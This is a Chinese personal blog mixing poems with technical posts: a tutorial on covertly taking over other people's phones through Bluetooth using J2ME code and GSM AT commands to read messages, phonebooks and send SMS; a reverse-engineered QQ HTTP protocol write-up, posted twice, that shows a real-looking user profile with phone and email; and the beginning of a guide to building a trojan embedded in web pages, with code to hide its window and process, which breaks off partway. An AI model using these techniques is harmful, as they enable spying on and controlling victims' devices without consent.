悦 さんのプロフィール微程小筑フォトブログリスト ツール ヘルプ

ブログ


6月12日

J2ME手机蓝牙间谍控制之我所见

2005到现在又没有写文章了,手又开始发痒了.在这篇文章里我们说说通过J2ME的蓝牙控制手机。
我们先说说控制了手机能够做什么?我们就有了手机的大部份控制权力,比如手机信息,电量,序列号,控制打电话,读取信息,电话本内容,打开对方手机的JAVA,控制多媒体播放器,可以放音乐,控制音量大小,更改对方的情景模式,发送按键信号.....
     看到"难道手机有木马?还是产商有后门?"看到这样,不免大家会发出这样的疑问.其实,都不是!
     以前如果搞过pc控制手机或玩过modem的朋友大家应该有印象.记得AT命令吗?AT即ATTENTION,90年代初,AT指令仅被用于Modem操作。没有控制移动电话文本消息的先例,只开发了一种叫SMS BlockMode的协议,通过终端设备(TE)或电脑来完全控制SMS。几年后,主要的移动电话生产厂商诺基亚、爱立信、摩托罗拉和HP共同为GSM 研制了一整套AT指令,其中就包括对SMS的控制。AT指令在此基础上演化并被加入GSM 07.05标准以及现在的GSM07.07标准,完全标准化和比较健全的标准。
     对!通过AT命令我们完全控制完全控制手机!我们用什么方式连接到手机呢,以前大家在控制手机的时候多半会用串口,红外.以前我短信群发的时候,用红外,控制了手机让手机进行短信群发。但是你想偷偷控制别人的手机于无形,这两种都不是太好选择,如果你用串口线或USB线你总不至于对你要控制的人说"兄弟,把你的手机拿来,我插根线控制你,看你的短信!",如果用红外说"兄弟,你的手机位置对正一点,不然我控制不到你了!",那么还得是蓝牙,距离是近是近了点,但是始终不容易被发现!
第一步,我们先看看,你的手机支持不支持J2ME的蓝牙!
try{
    Class.forName("javax.bluetooth.LocalDevice");
}
catch(Exception ex){
    System.out.println("操!我的手机不支持蓝牙");
}
第二步,如果支持蓝牙,我们就搜索一下,看看我们附近有没有蓝牙设备!
LocalDevice localDevice = LocalDevice.getLocalDevice();
discoveryAgent = localDevice.getDiscoveryAgent();//创建蓝牙搜索代理
discoveryAgent.startInquiry(DiscoveryAgent.GIAC, this);//开始搜索,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口.
如果搜索到了有新设备,它会调用deviceDiscoverd()方法接收!
 public void deviceDiscovered(RemoteDevice remoteDevice, DeviceClass cod) {
        try{
            remoteDevices.addElement(remoteDevice);
        } catch(Exception e){
               System.out.println("猪呀!怎么又错了!");
        }
}
当设备发现时会调用如下方法:
public void deviceDiscovered(RemoteDevice remotedevice, DeviceClass deviceclass){
 try{
     s = remotedevice.getFriendlyName(false); //得到好友名称,这个有些时候可能为空,也有可能会报错.
 }
 catch(Exception _ex){
   try{
     s = remotedevice.getBluetoothAddress(); //得到蓝牙地址
   }
   catch(Exception _ex2) { }
 }         
}
当搜索完成时会调用如下方法:
 public void inquiryCompleted(int discType) {
    String inqStatus = null;
    if (discType == DiscoveryListener.INQUIRY_COMPLETED) {
      inqStatus = "老子完成搜索了!厉害吧!";           
    } else if (discType == DiscoveryListener.INQUIRY_TERMINATED) {
      inqStatus = "讨打,叫我搜就搜,叫我停就停,面子都没有!";
    } else if (discType == DiscoveryListener.INQUIRY_ERROR) {
      inqStatus = "啊哦!老子又挂了!";
    }
       
  }
remoteDevices不知道是什么了吧~remoteDevices其实就是---一个Vector,用于存放名称及蓝牙地址的.
第三步,搜索蓝牙服务.
RemoteDevice aremotedevice[] = discoveryAgent.retrieveDevices(x);
//这语句读出以前搜索的设备,x为其参数DiscoveryAgent.CACHED(缓存设备)和DiscoveryAgent.PREKNOWN(已知设备),如果要更新设备名称就按上方法,重新刷新一下面好友名称
UUID auuid[] = {new UUID(0x1103), new UUID(0x0100)};
try{
     discoveryAgent.searchServices(null, auuid, aremotedevice[y], this);
//搜索蓝牙设备服务,auuid为指定的服务类型,0x1103代表播号网络服务,aremotedevice[y]指定设备,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口
 }
 catch(Exception exception){
   
 }
当发现新服务时会调用如下方法:
 public void servicesDiscovered(int i, ServiceRecord aservicerecord[]) {
  try{
      if(aservicerecord.length > -1){
        Object obj = null;
        for(int j = 0; j <= aservicerecord.length - 1; j++){
          String s = aservicerecord[j1].getConnectionURL(0, false);// 读出的设备服务连接地址
        }
          System.out.println("得到服务连接地址!");
        } else{
          System.out.println("没有得到服务连接地址!");         
        }
      }
      catch(Exception exception){
          System.out.println("又出错了,-_-!"); 
      }
  }
当搜索完成时会调用如下方法:
public final void serviceSearchCompleted(int i, int j){
  if(j != 1){
    System.out.println("没有搜索到任何可用服务!");            
  }
}
第四步,连接到设备服务,并实现输入输出.
OutputStream outputStream;
InputStream inputStream;
StreamConnection streamConnection;
streamConnection = (StreamConnection)Connector.open(s);//s为上面getConnectionURL读出的设备服务连接地址
outputStream = streamConnection.openOutputStream();//创建输出流
inputStream = streamConnection.openInputStream();//创建输入流
第五步,如果第四步没有什么问题的话.那么恭喜你,你可以完全控制他的手机了.(哈哈哈哈,奸笑中......^_^),下面我们看一下如何控制他的手机.
现在我们就可以用outputStream直输出at命令了.
如: 发送ATA 接电话命令.
String s="ATA";
outputStream.write(s.getBytes());
outputStream.write(13);
outputStream.write(10);
outputStream.flush();
最可以用inputStream.read()来接返回的消息.
再来回顾一次重点.j2ME本身就是支持蓝牙的,手机是通过播号网络服务方式支持at命令的.只要用j2ME连接到另一台手机的播号网络服务就可以直接发送at命令.可惜网上资料太少了.....
下面我们就介绍一下常用的AT命令(具体看手机支持不支持,大多数是标准的^_^):
AT+CGMI 给出模块厂商的标识。
AT+CGMM 获得模块标识。
AT+CGMR 获得改订的软件版本。
AT+CGSN 获得GSM模块的IMEI(国际移动设备标识)序列号。
AT+CSCS 选择TE特征设定。这个命令报告TE用的是哪个状态设定上的ME。ME于是可以转换每一个输入的或显示的字母。这个是用来发送、读取或者撰写短信。
AT+WPCS 设定电话簿状态。这个特殊的命令报告通过TE电话簿所用的状态的ME。ME于是可以转换每一个输入的或者显示的字符串字母。这个用来读或者写电话簿的入口。
AT+CIMI 获得IMSI。这命令用来读取或者识别SIM卡的IMSI(国际移动签署者标识)。在读取IMSI之前应该先输入PIN(如果需要PIN的话)。
AT+CCID 获得SIM卡的标识。这个命令使模块读取SIM卡上的EF-CCID文件。
AT+GCAP 获得能力表。(支持的功能)
A/ 重复上次命令。只有A/命令不能重复。这命令重复前一个执行的命令。
AT+CPOF 关机。这个特殊的命令停止GSM软件堆栈和硬件层。命令AT+CFUN=0的功能与+CPOF相同。
AT+CFUN 设定电话机能。这个命令选择移动站点的机能水平。
AT+CPAS 返回移动设备的活动状态。
AT+CMEE 报告移动设备的错误。这个命令决定允许或不允许用结果码“+CME ERROR:<xxx>”或者“+CMS ERROR:<xxx>”代替简单的“ERROR”。
AT+CKPD 小键盘控制。仿真ME小键盘执行命令。
AT+CCLK 时钟管理。这个命令用来设置或者获得ME真实时钟的当前日期和时间。
AT+CALA 警报管理。这个命令用来设定在ME中的警报日期/时间。(闹铃)
AT+CRMP 铃声旋律播放。这个命令在模块的蜂鸣器上播放一段旋律。有两种旋律可用:到来语音、数据或传真呼叫旋律和到来短信声音。
AT+CRSL 设定或获得到来的电话铃声的声音级别。
ATD 拨号命令。这个命令用来设置通话、数据或传真呼叫。
ATH 挂机命令。
ATA 接电话。
AT+CEER 扩展错误报告。这个命令给出当上一次通话设置失败后中断通话的原因。
AT+VTD 给用户提供应用GSM网络发送DTMF(双音多频)双音频。这个命令用来定义双音频的长度(默认值是300毫秒)。
AT+VTS 给用户提供应用GSM网络发送DTMF双音频。这个命令允许传送双音频。
ATDL 重拨上次电话号码。
AT%Dn 数据终端就绪(DTR)时自动拨号。
ATS0 自动应答。
AT+CICB 来电信差。
AT+CSNS 单一编号方案。
AT+VGR,AT+VGT 增益控制。这个命令应用于调节喇叭的接收增益和麦克风的传输增益。
AT+CMUT 麦克风静音控制。
AT+SPEAKER 喇叭/麦克风选择。这个特殊命令用来选择喇叭和麦克风。
AT+ECHO 回音取消。
AT+SIDET 侧音修正。
AT+VIP 初始化声音参数。
AT+DUI 用附加的用户信息拨号。
AT+HUI 用附加的用户信息挂机。
AT+RUI 接收附加用户信息。
AT+CSQ 信号质量。
AT+COPS 服务商选择。
AT+CREG 网络注册。获得手机的注册状态。
AT+WOPN 读取操作员名字。
AT+CPOL 优先操作员列表。
AT+CPIN2 输入PIN2。
AT+CPINC PIN的剩余的尝试号码。
AT+CLCK 设备锁。
AT+CPWD 改变密码。
AT+CPBS 选择电话簿记忆存储。
AT+CPBR 读取电话簿表目。
AT+CPBF 查找电话簿表目。
AT+CPBW 写电话簿表目。
AT+CPBP 电话簿电话查询。
AT+CPBN 电话簿移动动作。这个特殊命令使电话簿中的条目前移或后移(按字母顺序)
AT+CNUM 签署者号码。
AT+WAIP 防止在下一次重起时初始化所有的电话簿。
AT+WDCP 删除呼叫电话号码。
AT+CSVM 设置语音邮件号码。
AT+CSMS 选择消息服务。支持的服务有GSM-MO、SMS-MT、SMS-CB。
AT+CNMA 新信息确认应答。
AT+CPMS 优先信息存储。这个命令定义用来读写信息的存储区域。
AT+CMGF 优先信息格式。执行格式有TEXT方式和PDU方式。
AT+CSAS 保存设置。保存+CSAS和+CSMP的参数。
AT+CRES 恢复设置。
AT+CSDH 显示文本方式的参数。
AT+CNMI 新信息指示。这个命令选择如何从网络上接收短信息。
AT+CMGR 读短信。信息从+CPMS命令设定的存储器读取。
AT+CMGL 列出存储的信息。
AT+CMGS 发送信息。
AT+CMGW 写短信息并存储。
AT+CMSS 从存储器中发送信息。
AT+CSMP 设置文本模式的参数。
AT+CMGD 删除短信息。删除一个或多个短信息。
AT+CSCA 短信服务中心地址。
AT+CSCB 选择单元广播信息类型。
AT+WCBM 单元广播信息标识。
AT+WMSC 信息状态(是否读过、是否发送等等)修正。
AT+WMGO 信息覆盖写入。
AT+WUSS 不改变SMS状态。在执行+CMGR或+CMGL后仍保持UNREAD。
值得注意的是,通常有些命令是配合使用,比如发送中文短信(在设置完成手机参数后):
outputStream.write("AT+CMGF=1".getBytes());//设置信息格式,0为TEXT方式和1为PDU方式。
outputStream.write("AT+CMGS='12345678999',10 ".getBytes()); //发送短信到XX
outputStream.write("0x600xa80x590x7d0x000x1a".getBytes());//发送中文短信内容
好了,有了以前的知识,您就可以使用蓝牙控制其他的手机了,事先申明,如果拿去偷看别人的手机被打不关我事.此文仅在技术分析,如果更多需要交流请加我的QQ:24259132,请转载者尊重一下原著的版权,谢谢!
7月12日

迷茫

迷茫,
生活越来越难,
已然没有最初的梦想,
没有当年的激情与渴望。

在生活里打转,
却始终冲不出这围城的墙。
欲望没有退让,
实现的可能越来越渺茫。

生活的残忍使我受伤,
措败的无情使我沮丧,
失落的心情使我彷徨,
曲折的命运使我步履艰难。

回首往事也喜悦与心酸,
喜悦与心酸过眼也惘然,
点亮心的火光,
往后的路还很长很长。。。。。。。。
7月5日

仙亦难

婆娑流离世外仙,
神游灵霄亦有天。
逐渡四海寻僻岸,
梦归七魄复凡间。
爱寄世间俗尘事,
情迷山野太虚眠。
恋倦幛舞镜花影,
无欲重摘九宫莲。
 
 
 
6月7日

六月,彼此幸福中

入梦前总是不禁播通电话,
宜解无限对你的思念牵挂,
听着你我缠绵情话,
不禁泪珠幸福的潸然落下。

你是我心中的她,
我愿陪你走过海角天涯,
纵然时空停时流转暗淡无霞,
你要相信至少还有我还有温暖的家。

不是主公与王子的童话,
也不会轰烈的让世人惊呀,
至少在电闪雷鸣时,
我会抱着你不会让你感到害怕。

睡吧,带着微笑睡吧,
不必担心我对你的爱会变化,
眼前所看到一切幸福都不是假,
天荒地老、至死不逾也不再是神话。

6月3日

基于HTTP的QQ协议之我所见

有一年没有发表文章了,最近我为了一个项目对QQ协议进行研究,有些心得,不敢独享,故把其中一项协议--

基于HTTP的QQ协议V1.1的不完整成果,拿出来与大家分享一下。
大家说到QQ协议都觉得很神秘,是因为QQ不像MSN或者ICQ协议都已经官方公布了,而QQ的没有公布。研究

它的人也不是特别的多,虽然已经有了基于QQ协议所写成的第三方软件 foicq, qq plugins for gaim,

LumaQQ,但是由于他们是基于二进制Stream的协议过于复杂,大家阅读代码也有一定的难度,再加上网络

上解析QQ协议的文章也不是十分多,所以基于QQ网络协议的应用程序也是寥寥无几的。现在我就把基于HT

TP的QQ协议进行一个粗浅的剖析,希望对大家有所帮助。源码部分就用我喜欢的DELPHI和现在比较流行的

C#语言对QQ协议的实现进行具体分析。
1、找寻支持QQ HTTP协议的服务器。
大家也许会被一些假像所迷惑,也许会认为QQ的HTTP服务器是基于80口进行通信的(如:218.17.209.23:

80),其实不然,正真基于HTTP的服务器应该是:http://tqq.tencent.com:8000,它是一个通过8000口

进行通讯的服务器。
由于QQ的HTTP服务器并不支持HTTP协议中GET方法,它支持POST方法。所以我们要给QQ的HTTP协议传参数

,那么就必需要用POST方式才行。
2、C#和DELPHI是实现HTTP的POST方法的通信。
C#:
  C#里System.Web空间下提供了一个叫做WebClient的对象,使用此对象就可以使C#直接对服务器发送WEB

客户端的请求。那么我们要对服务器提交POST方法那么就必须使用其UploadData()方法才行。首先把要请

求的信息先转换为字节(因为POST提交的是字符的流数据),然后再做为UploadData()的参数。使用Uplo

adData()进行数据提交,最后返回,POST的回馈信息。如下:

  WebClient _client = new WebClient();
  string postValues = "VER=1.0&CMD=Query_Stat&SEQ=12321&UIN=29501213&TN=50&UN=0";
  Byte[] byteArray = System.Text.Encoding.ASCII.GetBytes(postValues);
  Byte[] pageData = _client.UploadData(Host,"POST",byteArray);

这样,我们就利用C#进行了一次HTTP的POST方法提交了。

DELPHI:
  Delphi里我们利用一个比较流行的第三方VCL,INDY HTTP(这个组件D6,D7里面自带)进行HTTP通信。

使用其的POST方法便可以进行HTTP的POST通信,因为组件比较好用,我就不在其描述具体的过程了。大家

可以参考以下代码:

function PostWebPage(url,para:String;TimeOut:Integer):String;
var
  tmpWeb:TIdHTTP;
  retrun:String;
  Proxy:String;
  i:Integer;
  paralist:TStrings;
begin
  retrun:='';
  try
    paralist:=TStringList.Create;
    paralist.Text:=_Replacing(para,'&',#13#10);
    tmpWeb:=TIdHTTP.Create(nil);
    tmpWeb.ReadTimeout:=TimeOut;
    for i:=1 to 3 do
    begin
      try
        retrun:=tmpWeb.Post(url,paralist);
      except end;
      if retrun<>'' then break;
    end;
  finally
      tmpWeb.Disconnect;
      FreeAndNil(tmpWeb);
      FreeAndNil(paralist);
  end;

  Result:=retrun;
end;

值在传入、返回时,其是基于UTF-8进行的,C#显示中文是很常,而DELPHI就要进行UTF-8的转换了。大家

可通过Utf8ToAnsi()、AnsiToUtf8()进行转换。(编码转换是C#的优越性之一)

3、实现QQ的用户登录。
在QQ通信中用户必需要登录后才可以进行互相发送信息等。QQ的登录是很关键的,大家所看到的用户在线

,并不是用户的QQ一直连接着服务器,而是定时发送消信给服务器,证明自己还连着线,如果超出时间QQ

就认为用户已经掉线了。
在登录协议中,QQ的密码是用标准的MD5来进行加密,DELPHI的用户只需要下个MD5加密模块就可以了,而

C#自已带有,但是直接用不了,必需进行处理后,才能使其变成标准的MD5,处理代码如下:
    
               public static string MD5(string toCryString)
  {
   MD5CryptoServiceProvider hashmd5;
   hashmd5 = new MD5CryptoServiceProvider();
   return

BitConverter.ToString(hashmd5.ComputeHash(Encoding.Default.GetBytes(toCryString))).Replace("

-","").ToLower();//asp是小写,把所有字符变小写
  }

了解QQ是如何对用户密码加密后,那么我们就开始真正,解析QQ的HTTP登录协议了,我们把协议当传POST

的参数传给服务器,而服务器则回馈相应的信息给客户端:
传入协议:
  VER=1.1&CMD=Login&SEQ=&UIN=&PS=&M5=1&LC=9326B87B234E7235

  VER是用来说明QQ协议的版本,CMD是说明协议的命令,Login就是指QQ的登录了,SEQ是他的为了防止重

复发送而设定的一个标记,一般我们取当前时间数值的一段放入即可。(C#:DateTime.Now.Ticks.ToStr

ing().Substring(7,7) DELPHI:CopyStr(inttostr(GetTickCount()),1,5)),UIN是说明你当前要登录

的用户QQ号,PS,是MD5加密过后的密码的值。

返回协议:

  VER=1.1&CMD=Login&SEQ=11281&UIN=&RES=0&RS=0&HI=60&LI=300(成功)

RES为0表示成功返回,RS为0表示登录成功。

  VER=1.1&CMD=Login&SEQ=11422&UIN=315103947&RES=0&RS=1&RA=登录失败

RS为1表示登录失败,那么就会出现提示信息RA说明原因。

4、获得QQ名单。
如果您加了您的好友,那么您的好友就会放入你的QQ的好友名单里面,那么我们要得到QQ名单就必需给QQ

服务器发送得到好友名单的协议(我就不从复已知的参数了):

  VER=1.1&CMD=List&SEQ=&UIN=&TN=160&UN=0

服务器得到协议后如果成功则返回:

  VER=1.1&CMD=LIST&SEQ=43661&UIN=29501213&RES=0&FN=1&SN=24&UN=561256,1943497,....

UN后面则是您好友的QQ号码,每个号码都由,进行分开。那么我们只需要得到UN后面的代码,把它列表化

就OK了。C#可以用string.Split(',')把值放入列表进行处理,而DELPHI可以使用Split()把数值放入TStr

ings里进行处理。

5、获得QQ好友在线名单
获得QQ好友在线名单,跟获得好友名单差不多,唯一不同的是用的命令不同用的是Query_Stat,协议如下

  VER=1.1&CMD=Query_Stat&SEQ=&UIN=&TN=50&UN=0

服务器得到协议后如果成功则返回:

VER=1.1&CMD=QUERY_STAT&SEQ=-1&UIN=29501213&RES=0&FC=141,270,270,&FN=1&SN=3&ST=10,10,10,&UN=1

2327207,24259132,29501213,&NK= □,微程,鶹鸑,&

FC为QQ头像的的ID,如的头像ID为270,那么其头使用的图片为91.bmp,其算法为ID/3+1。ST为QQ用户的状

态,10为上线,20为离线,30为忙碌。UN为在线用户的QQ号,NK为在线用户的QQ昵称。ST,UN,NK,每个

逗号隔开的数据相互对应。在得到消息后如果用的是DELPHI语言,那么要用Utf8ToAnsi()进行转换,不然

会出现乱码。

6、得到QQ用户的信息。
如果要看到QQ用户的真实名称,MAIL,年龄,个人说明等信息,那么我们必需要向服务器发送得到好友信

息的信息:

  VER=1.1&CMD=GetInfo&SEQ=&UIN=&LV=2&UN=

UN为要查看用户信息的QQ号。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=GETINFO&SEQ=12707&UIN=415103947&RES=0&AD=云南昆明&AG=0&EM=Microprogramer@hotmail

.com&FC=270&HP=msger.org(建设中...)&JB=程序员&LV=2&PC=650000&PH=0871-6466529&PR=网络为媒%252

c关系为本%252c信息为财%252c客户为主.%0d%0a&PV=云南省&RN=刘X&SC=社会大学&SX=0&UN=24259132&NK=

微程

AD用户的联系地址,AG为用户年龄,EM为用户MAIL,FC为用户头像,HP为用户网站,JB为用户职业,PC为

用户邮编,PH为用户联系电话,PR为用户简介,PV为用户所以的省,RN为用户真实名称,SC为用户毕业院

校,SX为用户性别,UN为用户QQ号,NK为用户QQ昵称。在得到消息后如果用的是DELPHI语言,那么要用Ut

f8ToAnsi()进行转换,不然会出现乱码。

7、增加QQ好友。
想要新增好友,就要发送AddToList命令给服务器,具体命令如下:

  VER=1.1&CMD=AddToList&SEQ=&UIN=&UN=

UN为我们要增加用户的QQ号。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=AddToList&SEQ=13666&UIN=415103947&RES=0&CD=0&UN=24259132

CD为被加QQ的身份验证状态,CD为0表示“允许任何人把我列为好友”,CD为1表示“需要身份证认才能把

我列为好友”,CD为3表示“不允许任何人把我列为好友”。如果CD为0那么信息回馈后,用户就直接加为

好友了,如果CD为1,那么还要发送一次回应加为好友的响应。

8、回应加为好友的响应。

回应加为好友响应是双方的:1、如果你发送了请求加对方为好友,如果对方需要验证,那么必需发送回

应加为好友的响应。2、如果对方发送加为好友请求给你,那么你可以加应加为好友的响应,一是加为好

友,一是通过验证,一是拒决加为好友。我们要向服务器发送命令:

VER=1.1&CMD=Ack_AddToList&SEQ=&UIN=&UN=&CD=&RS=

CD为响应状态,CD为0表示“通过验证”。CD为1表示“拒决加为对方为好友”。CD为2表示“为请求对方

加为好友”。RS为你要请求的理由,如果您用的是DELPHI那么RS在发送之间要用AnsiToUtf8()进行转换,

不然发送过后,请求理由会变成“?”。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=Ack_AddToList&SEQ=1130&UIN=415103947&RES=0&

9、删除好友。

删除好友其实很容易,向服务器发送DelFromList命令则可以删除用户:

VER=1.1&CMD=DelFromList&SEQ=&UIN=&UN=

UN为要删除用户的QQ号。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=DelFromList&SEQ=24514&UIN=415103947&RES=0&

10、改变用户当前状态。
可以把QQ设置为在线,隐身等状态,我们可以发送Change_Stat给服务器以改变当前状态,具体命令如下

VER=1.1&CMD=Change_Stat&SEQ=&UIN=&ST=

ST为要改变的状态,10为上线,20为离线,30为忙碌。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=Change_Stat&SEQ=17512&UIN=415103947&RES=0&

11、退出登录
要退出登录,要向服务器发送命令Logout,具体命令如下:

VER=1.1&CMD=Logout&SEQ=&UIN=

服务器得到协议后如果成功则返回:

VER=1.1&CMD=LOGOUT&SEQ=15803&UIN=415103947&RES=0

12、获得好友QQ的消息

如果要接收好友的消息,要向服务器发送命令GetMsgEx,具体命令如下:

VER=1.1&CMD=GetMsgEx&SEQ=&UIN=

服务器得到协议后如果成功则返回:

VER=1.1&CMD=GETMSGEX&SEQ=56661&UIN=29501213&RES=0&MN=3&MT=99,9,9,&UN=24259132,24259132,24259

132,&MG=30 ,asdfasdfasdfasdf ,asdfasdfasdf ,&

MT表示消息类型,99表示系统消息,9表示用户消息。UN表示消息发送来源用户,MG表示发送的消息,MG

消息可以表示某些特定的系统含意,譬如:当MT为99,MG为30,UN为24259132则表示用户4259132现在处

于忙碌状态,可根据此消息进行好友列表的刷新,提高效率。在得到消息后如果用的是DELPHI语言,那么

要用Utf8ToAnsi()进行转换,不然会出现乱码。

13、向好友QQ发送消息

要发送消息给好友,要向服务器发送命令CLTMSG命令,具体命令如下:

VER=1.1&CMD=CLTMSG&SEQ=&UIN=&UN=&MG=

UN为消息发送给的用户QQ号码,MG为发送给该用户的消息。如果您用的是DELPHI那么MG在发送之间要用An

siToUtf8()进行转换,不然发送过后,消息会变成“?”。

服务器得到协议后如果成功则返回:

 VER=1.1&CMD=CLTMSG&SEQ=15803&UIN=415103947&RES=0

好了,以上就是QQ基于HTTP的一个不完全的协议分析,在无源码前提下,在下能力有限,只能够分析这么

多了。利用以上协议您就可以实现很多东西,如:QQ机器人,QQ广告系统,即时通讯的整合工具等等。如

果您还有什么问题,请加我的QQ:24259132,MSN:microprogramer@hotmail.com,BLOG:http://spaces.msn.com/members/mprogramer/

6月1日

基于HTTP的QQ协议之我所见(上)

微程
有一年没有发表文章了,最近我为了一个项目对QQ协议进行研究,有些心得,不敢独享,故把其中一项协议-- 基于HTTP的QQ协议V1.1的不完整成果,拿出来与大家分享一下。
大家说到QQ协议都觉得很神秘,是因为QQ不像MSN或者ICQ协议都已经官方公布了,而QQ的没有公布。研究 它的人也不是特别的多,虽然已经有了基于QQ协议所写成的第三方软件 foicq, qq plugins for gaim,  LumaQQ,但是由于他们是基于二进制Stream的协议过于复杂,大家阅读代码也有一定的难度,再加上网络 上解析QQ协议的文章也不是十分多,所以基于QQ网络协议的应用程序也是寥寥无几的。现在我就把基于HT TP的QQ协议进行一个粗浅的剖析,希望对大家有所帮助。源码部分就用我喜欢的DELPHI和现在比较流行的 C#语言对QQ协议的实现进行具体分析。
1、找寻支持QQ HTTP协议的服务器。
大家也许会被一些假像所迷惑,也许会认为QQ的HTTP服务器是基于80口进行通信的(如:218.17.209.23: 80),其实不然,正真基于HTTP的服务器应该是:http://tqq.tencent.com:8000,它是一个通过8000口 进行通讯的服务器。
由于QQ的HTTP服务器并不支持HTTP协议中GET方法,它支持POST方法。所以我们要给QQ的HTTP协议传参数 ,那么就必需要用POST方式才行。
2、C#和DELPHI是实现HTTP的POST方法的通信。
C#:
  C#里System.Web空间下提供了一个叫做WebClient的对象,使用此对象就可以使C#直接对服务器发送WEB 客户端的请求。那么我们要对服务器提交POST方法那么就必须使用其UploadData()方法才行。首先把要请 求的信息先转换为字节(因为POST提交的是字符的流数据),然后再做为UploadData()的参数。使用Uplo adData()进行数据提交,最后返回,POST的回馈信息。如下:

  WebClient _client = new WebClient();
  string postValues = "VER=1.0&CMD=Query_Stat&SEQ=12321&UIN=29501213&TN=50&UN=0";
  Byte[] byteArray = System.Text.Encoding.ASCII.GetBytes(postValues);
  Byte[] pageData = _client.UploadData(Host,"POST",byteArray);

这样,我们就利用C#进行了一次HTTP的POST方法提交了。

DELPHI:
  Delphi里我们利用一个比较流行的第三方VCL,INDY HTTP(这个组件D6,D7里面自带)进行HTTP通信。 使用其的POST方法便可以进行HTTP的POST通信,因为组件比较好用,我就不在其描述具体的过程了。大家 可以参考以下代码:

function PostWebPage(url,para:String;TimeOut:Integer):String;
var
  tmpWeb:TIdHTTP;
  retrun:String;
  Proxy:String;
  i:Integer;
  paralist:TStrings;
begin
  retrun:='';
  try
    paralist:=TStringList.Create;
    paralist.Text:=_Replacing(para,'&',#13#10);
    tmpWeb:=TIdHTTP.Create(nil);
    tmpWeb.ReadTimeout:=TimeOut;
    for i:=1 to 3 do
    begin
      try
        retrun:=tmpWeb.Post(url,paralist);
      except end;
      if retrun<>'' then break;
    end;
  finally
      tmpWeb.Disconnect;
      FreeAndNil(tmpWeb);
      FreeAndNil(paralist);
  end;

  Result:=retrun;
end;

值在传入、返回时,其是基于UTF-8进行的,C#显示中文是很常,而DELPHI就要进行UTF-8的转换了。大家 可通过Utf8ToAnsi()、AnsiToUtf8()进行转换。(编码转换是C#的优越性之一)

3、实现QQ的用户登录。
在QQ通信中用户必需要登录后才可以进行互相发送信息等。QQ的登录是很关键的,大家所看到的用户在线 ,并不是用户的QQ一直连接着服务器,而是定时发送消信给服务器,证明自己还连着线,如果超出时间QQ 就认为用户已经掉线了。
在登录协议中,QQ的密码是用标准的MD5来进行加密,DELPHI的用户只需要下个MD5加密模块就可以了,而 C#自已带有,但是直接用不了,必需进行处理后,才能使其变成标准的MD5,处理代码如下:
    
               public static string MD5(string toCryString)
  {
   MD5CryptoServiceProvider hashmd5;
   hashmd5 = new MD5CryptoServiceProvider();
   return  BitConverter.ToString(hashmd5.ComputeHash(Encoding.Default.GetBytes(toCryString))).Replace(" -","").ToLower();//asp是小写,把所有字符变小写
  }

了解QQ是如何对用户密码加密后,那么我们就开始真正,解析QQ的HTTP登录协议了,我们把协议当传POST 的参数传给服务器,而服务器则回馈相应的信息给客户端:
传入协议:
  VER=1.1&CMD=Login&SEQ=&UIN=&PS=&M5=1&LC=9326B87B234E7235

  VER是用来说明QQ协议的版本,CMD是说明协议的命令,Login就是指QQ的登录了,SEQ是他的为了防止重 复发送而设定的一个标记,一般我们取当前时间数值的一段放入即可。(C#:DateTime.Now.Ticks.ToStr ing().Substring(7,7) DELPHI:CopyStr(inttostr(GetTickCount()),1,5)),UIN是说明你当前要登录 的用户QQ号,PS,是MD5加密过后的密码的值。

返回协议:

  VER=1.1&CMD=Login&SEQ=11281&UIN=&RES=0&RS=0&HI=60&LI=300(成功)

RES为0表示成功返回,RS为0表示登录成功。

  VER=1.1&CMD=Login&SEQ=11422&UIN=315103947&RES=0&RS=1&RA=登录失败

RS为1表示登录失败,那么就会出现提示信息RA说明原因。

未完待述,明天写后续部份~

5月24日

《旧文章整理》月圆

月上柳阴梢,
广寒佳人俏。
人月若两圆,
陋室胜凌宵。

《旧文章整理》月下相思

银光洒九州,
星下独酌酒。
举樽邀嫦娥,
宜解相思忧。

《旧文章整理》月夜赠友

馨夜阖家欢聚首,
举头望月且解忧。
抛卸百般烦心事,
频步青云蹬高楼。

《旧文章整理》江城子-志千仗

提壺醉卧長亭旁.
淚如注,發沖冠.
懷才不遇,
空有志千仗.
心有報國身無方,
惜往已,且留憾.

玄德愛才三顧鄉.
追武帝,憶文王.
自古明君,
且有良將伴.
憂國憂民心始然,
盼昱日,登高堂.

《旧文章整理》网页木马之我所见

几天前我中了一个木马,当时我很纳闷,我第一没有收过邮件,第二没有收过朋友从QQ里传来的文件,为什么我会中木马呢?于是查了一下有关资料,才发现网页也有嵌入的可能。究其原因,这是因为微软公司的在2000年发布的MIME/BASE64处理漏洞所引起的,不过这个漏洞只适用于IE5.5以下的版本的浏览器。
那么MIME是什么呢?其实MIME是Multimedia Internet Mail Extensions的缩写,是一种技术规范。而现在主要是用在扩展邮件功能上,而MIME的用处其实还不止这个,我们的B/S方式的实现其实里面就包括了MIME,它是HTTP协议的一部份。
概念我就不多说了,下面说一说这个木马的实现思路:
1、首先我们要写一个普通的木马。
2、把木马打包在*.eml文件里(打完包后不知道的人还以为是尼姆达,呵呵)。
3、把*.eml嵌入网页。
而在这里我们所要到的工具有:
1、一个普通的编程台平(如Delphi、VB、VC,而我在这里用的工具是delphi)
2、邮件编辑器(在这里我用到的是FoxMail)
3、HTML编辑工具(在这里我用到的是记事本)
好了,思路和环境我们都有了就让我们一步一步来实现这个木马吧~~~,首先我们先用Delphi做一个最基本的木马框架(在这里只建立一个框架,里面的肉你们就自己来填吧)。
1、首先我们应该在木马创建主窗口时就把其隐藏起来,大家一定会首先想到的是在form的FormCreate事件里用窗口的HIDE方法把其隐藏,那你就错了,如果像这里做程序运行时会报错,而我们应该在FormCreate事件里加入一句application.showmainform:=false;这样主窗口就在运行时得到隐藏。
2、我们应该把程序的进程所隐藏,做对方用CTRL+ALT+DEL在"关闭程序"对话框里看不到。我们就要用API函数RegisterServiceProcess来把当前进程变为一个系统服务,从而在任务列表中把程序隐藏起来,这个函数的用法为:
DWORD RegisterServiceProcess(DWORD dwProcessId,
    DWORD dwType);
不过在用之前必须从KERNEL32.DLL里重载出来。在程序里的具体用法如下:
implementation
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
{$R *.DFM}
